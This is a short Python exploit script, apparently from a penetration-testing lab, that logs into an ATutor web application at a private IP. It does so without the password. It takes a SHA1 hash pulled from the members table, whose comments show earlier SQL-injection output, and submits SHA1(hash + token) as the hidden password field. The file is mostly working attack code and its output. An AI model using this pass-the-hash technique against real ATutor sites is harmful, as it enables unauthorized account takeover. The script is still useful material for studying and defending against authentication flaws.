import sys
import requests
from bs4 import BeautifulSoup
from colorama import Fore, Back, Style
import hashlib

target_ip = "192.168.237.136"
hash_from_db = "ff3eebbdf6113d9b1dd67eef6727d62a3a6a3bd9"
token = "aaa"
username = "labuser"

# mysql> SELECT SHA1(CONCAT('ff3eebbdf6113d9b1dd67eef6727d', 'aaa'))
#     -> ;
# +------------------------------------------------------+
# | SHA1(CONCAT('ff3eebbdf6113d9b1dd67eef6727d', 'aaa')) |
# +------------------------------------------------------+
# | 04f48b10f51e611c3c04c50fd6026ce63ac20d54             |
# +------------------------------------------------------+
# (+) Retriving first user from the members table:
# (+) Done the string is labuser
# (+) Retriving first user password:
# (+) Done the string is ff3eebbdf6113d9b1dd67eef6727d62a3a6a3bd9
def gen_hash(hash_from_db, token):
    concatenated_string = hash_from_db + token
    print(concatenated_string)
    h = hashlib.sha1(str(concatenated_string).encode('utf-8'))
    print(h.hexdigest())
    return h.hexdigest()

def fromat_text(title, item):
    cr = '\r\n'
    section_break = cr + "*" * 20 + cr
    item = str(item)
    text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break
    return text

def hash_login():
    target = "http://%s/atutor/login.php" % target_ip
    hashed = gen_hash(hash_from_db, token)
    d = {
        "form_login_action" : "true",
        "form_course_id" : "0",
        "form_password_hidden" : hashed,
        "form_login" : username,
        "submit" : "Login",
        "token" : token
    }

    s = requests.Session()
    r = requests.post(target, data = d)
    response = r.text
    #print(response)
    if "Create Course: My Start Page" in response or "My Courses: My Start Page" in response:
        return True
    return False

def main():
    if len(sys.argv) != 1:
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s" % sys.argv[0])
        sys.exit(-1)

    if hash_login():
        print("(+) Workin Login Succesfull")
    else:
        print("(+) BUUUU Loooser")

if __name__ == "__main__":
    main()
